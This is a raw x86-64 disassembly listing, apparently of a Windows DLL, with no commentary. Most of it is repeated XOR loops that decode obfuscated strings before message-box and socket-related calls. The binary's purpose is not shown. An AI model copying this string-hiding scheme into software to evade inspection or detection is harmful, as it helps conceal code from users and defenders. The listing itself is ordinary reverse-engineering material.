lea rdx, [rbp + 0x1888]
lea rcx, [rbp + 0xdf8]
call fcn.18004fff0
nop
mov byte [rsp + 0x28], 0
mov byte [rsp + 0x20], 1
lea r9, [rbp + 0xdb8]
mov r8, rbx
mov rdx, rax
lea rcx, [0x1802b4588]
call fcn.1800ab0c0
lea rdx, [0x1802b4648]
lea rcx, [0x1802b4638]
call fcn.180097860
cmp byte [rax], 0
je 0x1800bee15
cmp byte [0x1802b43fc], 0
jne 0x1800bee15
mov byte [0x1802b43fc], 1
call fcn.18009f210
nop
lea rcx, [rbp + 0x1888]
call fcn.18003e1a0
nop
lea rcx, [rbp + 0x1868]
call fcn.18003e1a0
nop
lea rcx, [rbp + 0x1a40]
call fcn.18006ff70
movss xmm1, dword [0x180138bd8]
movaps xmm0, xmm12
call fcn.180019710
mov qword [rbp + 0x138], 0
movzx eax, word [0x180182d84]
mov word [rbp - 0x6c], ax
cmp byte [0x180182d85], 0
je 0x1800bee73
mov byte [rbp - 0x6c], WSASetLastError
xor byte [rbp - 0x6b], 0x37
lea rdx, [rbp + 0x138]
lea rcx, [rbp - 0x6c]
call fcn.18003ef60
test al, al
je 0x1800bf2cc
mov rax, qword [0x1802b4398]
cmp qword [rax + 8], 0
je 0x1800bef5b
lea rdx, [0x1802b4648]
lea rcx, [0x1802b4638]
call fcn.180097860
cmp byte [rax], 0
je 0x1800beeca
cmp byte [0x1802b43fc], 0
jne 0x1800beeca
mov byte [0x1802b43fc], 1
call fcn.18009f210
lea rax, [rbp + 0xe18]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe18], xmm0
mov qword [rbp + 0xe28], rdi
mov qword [rbp + 0xe30], rdi
xor r8d, r8d
mov rdx, rsi
lea rcx, [rbp + 0xe18]
call fcn.18003d5d0
nop
lea rax, [rbp + 0xe38]
mov qword [rsp + 0x70], rax
mov rdx, r12
lea rcx, [rbp + 0xe38]
call fcn.18004fff0
mov rbx, rax
lea rdx, [rbp + 0xe58]
mov rcx, qword [0x1802b4580]
call fcn.180055d00
nop
mov byte [rsp + 0x28], 0
mov byte [rsp + 0x20], 1
lea r9, [rbp + 0xe18]
mov r8, rbx
mov rdx, rax
lea rcx, [0x1802b4588]
call fcn.1800ab0c0
jmp 0x1800bf2cc
movsd xmm0, qword [0x180182da8]
movsd qword [rbp + 0x608], xmm0
mov ecx, dword [0x180182db0]
mov dword [rbp + 0x610], ecx
movzx eax, byte [0x180182db4]
mov byte [rbp + 0x614], al
mov r8d, edi
cmp r15d, 2
jl 0x1800bf0df
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x180182da8]
xorps xmm1, xmm0
movd dword [rbp + 0x608], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x60c]
xorps xmm2, xmm1
movd dword [rbp + 0x60c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x610], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x608]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800bf0f0
movups xmm0, xmmword [str.sYLK_eRR]
movups xmmword [rbp + 0xaf8], xmm0
movsd xmm0, qword [0x180182d98]
movsd qword [rbp + 0xb08], xmm0
mov eax, dword [0x180182da0]
mov dword [rbp + 0xb10], eax
cmp byte [0x180182da3], 0
je 0x1800bf2b3
mov r8d, edi
cmp r15d, 2
jl 0x1800bf273
movdqa xmmword [rsp + 0x50], xmm13
lea rcx, [rbp + 0xafc]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1800bf180
cmp r8d, 0x1c
jge 0x1800bf2b3
movsxd rax, r8d
lea r9, [rbp + 0xaf8]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x1800bf280
xor r9d, r9d
lea r8, [rbp + 0x608]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.180016030
xor ecx, ecx
call fcn.18000c5c0
mov rsi, 0xffffffffffffffff
mov r14, qword [rbp + 0xb0]
movss xmm12, dword [0x180184968]
cmp dword [0x1802b4a94], 1
jne 0x1800c0293
lea rcx, [0x1801ad070]
call fcn.18000b470
movss xmm3, dword [rbp + 0x17c4]
movaps xmm1, xmm3
addss xmm1, xmm12
movss xmm2, dword [rbp + 0x17c0]
movaps xmm0, xmm2
addss xmm0, dword [0x180184994]
movss dword [rbp + 0x140], xmm0
movss dword [rbp + 0x144], xmm1
addss xmm3, dword [0x180138bbc]
addss xmm2, dword [0x180138da8]
movss dword [rbp + 0x148], xmm2
movss dword [rbp + 0x14c], xmm3
mov dword [rsp + 0x28], edi
xorps xmm0, xmm0
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x140]
lea rdx, [rbp + 0x148]
mov rcx, r14
call fcn.180021da0
mov dword [rbp + 0x150], 0x42c20000
mov dword [rbp + 0x154], 0x41400000
lea rcx, [rbp + 0x150]
call fcn.18001a0a0
call fcn.180009b80
mov rax, qword [str.eCWIJNpEYT__n_f]
mov qword [rbp + 0x158], rax
cmp byte [0x180182dbf], 0
je 0x1800bf4f2
mov r8d, edi
cmp r15d, 2
jl 0x1800bf4ad
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm13
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x158]
xorps xmm2, xmm1
movd dword [rbp + 0x158], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x15c]
xorps xmm2, xmm1
movd dword [rbp + 0x15c], xmm2
jmp 0x1800bf4f2
lea r9, [rbp + 0x158]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1800bf4c0
xor r8d, r8d
lea rdx, [0x1802b4a98]
lea rcx, [rbp + 0x158]
call fcn.180047cc0
call fcn.18000cc90
cmp dword [0x1802b4a98], 0
jne 0x1800c0293
mov dword [rbp + 0x160], 0x42aa0000
mov dword [rbp + 0x164], 0x42700000
lea rcx, [rbp + 0x160]
call fcn.18001a0a0
mov qword [rbp + 0x168], 0
mov rax, qword [0x180182dc0]
mov qword [rbp + 0x170], rax
cmp byte [0x180182dc7], 0
je 0x1800bf692
mov r8d, edi
cmp r15d, 2
jl 0x1800bf64c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm13
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x170]
xorps xmm2, xmm1
movd dword [rbp + 0x170], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x174]
xorps xmm2, xmm1
movd dword [rbp + 0x174], xmm2
jmp 0x1800bf692
lea r9, [rbp + 0x170]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1800bf660
lea r12, [0x180137dc6]
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x170]
call fcn.180008f00
mov cl, 1
call fcn.18009f7d0
mov rbx, rax
lea rcx, [rbp + 0x1700]
call fcn.18000ee80
mov edx, dword [0x1802b4f40]
mov rcx, qword gs:[0x58]
mov eax, Ordinal_41
mov rcx, qword [rcx + rdx*8]
mov edx, dword [rax + rcx]
cmp dword [0x1802b4b5c], edx
jg 0x1800cb449
mov dword [rbp + 0x178], 0x41400000
mov dword [rbp + 0x17c], 0x41400000
lea rcx, [rbp + 0x178]
call fcn.18001a0a0
lea rdx, [0x1801ad020]
mov ecx, 7
call fcn.180016760
movss xmm1, dword [rbp + 0x1704]
subss xmm1, dword [0x180184978]
movss xmm0, dword [rbp + 0x1700]
movss xmm12, dword [0x180138d9c]
subss xmm0, xmm12
movss dword [rbp + 0x180], xmm0
movss dword [rbp + 0x184], xmm1
movups xmm2, xmmword [0x180182dc8]
movups xmmword [rbp + 0xa08], xmm2
movzx eax, word [0x180182dd8]
mov word [rbp + 0xa18], ax
movzx eax, byte [0x180182dda]
mov byte [rbp + 0xa1a], al
mov r8d, edi
cmp r15d, 2
jl 0x1800bf957
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm13
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xa08], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa0c]
xorps xmm2, xmm1
movd dword [rbp + 0xa0c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa10]
xorps xmm2, xmm1
movd dword [rbp + 0xa10], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa14]
xorps xmm2, xmm1
movd dword [rbp + 0xa14], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xa08]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1800bf970
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0xa08]
call fcn.18003ecd0
test al, al
je 0x1800bfc94
movss xmm0, dword [rbp + 0x1700]
subss xmm0, xmm12
call fcn.18001a550
movups xmm2, xmmword [str.fEWZOI_O]
movups xmmword [rbp + 0x9f0], xmm2
movzx eax, word [0x180182df0]
mov word [rbp + 0xa00], ax
cmp byte [0x180182df1], 0
je 0x1800bfc13
mov r8d, edi
cmp r15d, 2
jl 0x1800bfbc7
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm13
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x9f0], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9f4]
xorps xmm2, xmm1
movd dword [rbp + 0x9f4], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9f8]
xorps xmm2, xmm1
movd dword [rbp + 0x9f8], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9fc]
xorps xmm2, xmm1
movd dword [rbp + 0x9fc], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0x9f0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1800bfbe0
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8d, 0x100
lea rdx, [0x1802b4b60]
lea rcx, [rbp + 0x9f0]
call fcn.180041b40
mov rax, qword [rbx]
mov r8, qword [rax + 0x38]
lea rax, [0x1801846f0]
mov qword [rbp + 0x1670], rax
lea rax, [rbp + 0x1670]
mov qword [rbp + 0x16a8], rax
lea rdx, [rbp + 0x1670]
mov rcx, rbx
call r8
nop
mov rcx, qword [rbp + 0x16a8]
test rcx, rcx
je 0x1800bfc94
mov rax, qword [rcx]
mov r8, qword [rax + 0x20]
lea rax, [rbp + 0x1670]
cmp rcx, rax
setne dl
call r8
mov qword [rbp + 0x16a8], rdi
call fcn.180041290
mov ecx, 1
call fcn.180016100
movss xmm1, dword [rbp + 0x1704]
subss xmm1, dword [0x180184970]
mov dword [rbp + 0x188], 0x43e70000
movss dword [rbp + 0x18c], xmm1
lea rcx, [rbp + 0x188]
call fcn.18001a0a0
mov rcx, qword [0x1802b3a40]
call fcn.180016470
mov qword [rbp + 0x190], 0
lea rdx, [rbp + 0x190]
lea rcx, [0x180183498]
call fcn.18003ef60
test al, al
je 0x1800bfdca
mov qword [rbp + 0x17c8], rdi
mov rax, qword [rbx]
mov r10, qword [rax + 0x30]
mov r9b, 1
lea r8, [0x1802b0f88]
lea rdx, [rbp + 0x17c8]
mov rcx, rbx
call r10
nop
mov rcx, qword [rbp + 0x17c8]
test rcx, rcx
je 0x1800bfdb4
lea rdx, [0x1802b0f88]
lea rcx, [0x1802b45f8]
call fcn.180097860
cmp byte [rax], 0
jne 0x1800bfdad
lea rdx, [0x1802b0f88]
lea rcx, [0x1802b45f8]
call fcn.180097860
mov byte [rax], 1
mov dword [rbp + 0x17b8], edi
mov rcx, qword [rbp + 0x17c8]
add rcx, 0x40
lea rax, [0x1801848b0]
mov qword [rbp + 0x16b0], rax
lea rax, [rbp + 0x17b8]
mov qword [rbp + 0x16b8], rax
lea rax, [rbp + 0x16b0]
mov qword [rbp + 0x16e8], rax
xor r8d, r8d
lea rdx, [rbp + 0x16b0]
call fcn.18009e500
mov rcx, qword [rbp + 0x17c8]
test rcx, rcx
je 0x1800bfdca
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test al, al
je 0x1800bfdca
mov qword [rbp + 0x17c8], rdi
movss xmm1, dword [0x180138bd8]
xorps xmm0, xmm0
call fcn.180019710
mov qword [rbp + 0x198], 0
lea rdx, [rbp + 0x198]
lea rcx, [0x18018349c]
call fcn.18003ef60
test al, al
je 0x1800bfed1
mov qword [rbp + 0x17d0], rdi
mov rax, qword [rbx]
mov r10, qword [rax + 0x30]
mov r9b, 1
lea r8, [0x1802b0f88]
lea rdx, [rbp + 0x17d0]
mov rcx, rbx
call r10
nop
mov rcx, qword [rbp + 0x17d0]
test rcx, rcx
je 0x1800bfebb
lea rdx, [0x1802b0f88]
lea rcx, [0x1802b4678]
call fcn.180097860
mov byte [rax], 1
lea rdx, [0x1802b0f88]
lea rcx, [0x1802b45e8]
call fcn.180097860
mov byte [rax], 1
mov ecx, reloc.WS2_32.dll_recv
call fcn.18012e4dc
mov rdi, rax
mov qword [rsp + 0x60], rax
test rax, rax
je 0x1800bfea5
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov rcx, qword [rbp + 0x17d0]
mov qword [rbp - 0x28], rcx
test rcx, rcx
je 0x1800bfe95
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
lea rdx, [rbp - 0x28]
mov rcx, rdi
call fcn.180096820
xor edi, edi
jmp 0x1800bfea9
xor edi, edi
mov eax, edi
mov rdx, rbx
mov rcx, rax
call fcn.1800a6640
mov rcx, qword [rbp + 0x17d0]
test rcx, rcx
je 0x1800bfed1
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test al, al
je 0x1800bfed1
mov qword [rbp + 0x17d0], rdi
movss xmm1, dword [0x180138bd8]
xorps xmm0, xmm0
call fcn.180019710
mov qword [rbp + 0x1a0], 0
lea rdx, [rbp + 0x1a0]
lea rcx, [0x18013d724]
call fcn.18003ef60
test al, al
je 0x1800c027c
movsd xmm0, qword [0x180182e20]
movsd qword [rbp + 0x618], xmm0
mov ecx, dword [0x180182e28]
mov dword [rbp + 0x620], ecx
movzx eax, byte [0x180182e2c]
mov byte [rbp + 0x624], al
mov r8d, edi
cmp r15d, 2
jl 0x1800c008b
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x180182e20]
xorps xmm1, xmm0
movd dword [rbp + 0x618], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x61c]
xorps xmm2, xmm1
movd dword [rbp + 0x61c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x620], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x618]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800c00a0
movups xmm0, xmmword [str.pRYMOIY]
movups xmmword [rbp + 0x1618], xmm0
movups xmm1, xmmword [0x180182e08]
movups xmmword [rbp + 0x1628], xmm1
mov eax, dword [0x180182e18]
mov dword [rbp + 0x1638], eax
movzx eax, word [0x180182e1c]
mov word [rbp + 0x163c], ax
mov r8d, edi
cmp r15d, 2
jl 0x1800c0223
movdqa xmmword [rsp + 0x50], xmm13
lea rcx, [rbp + 0x161c]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
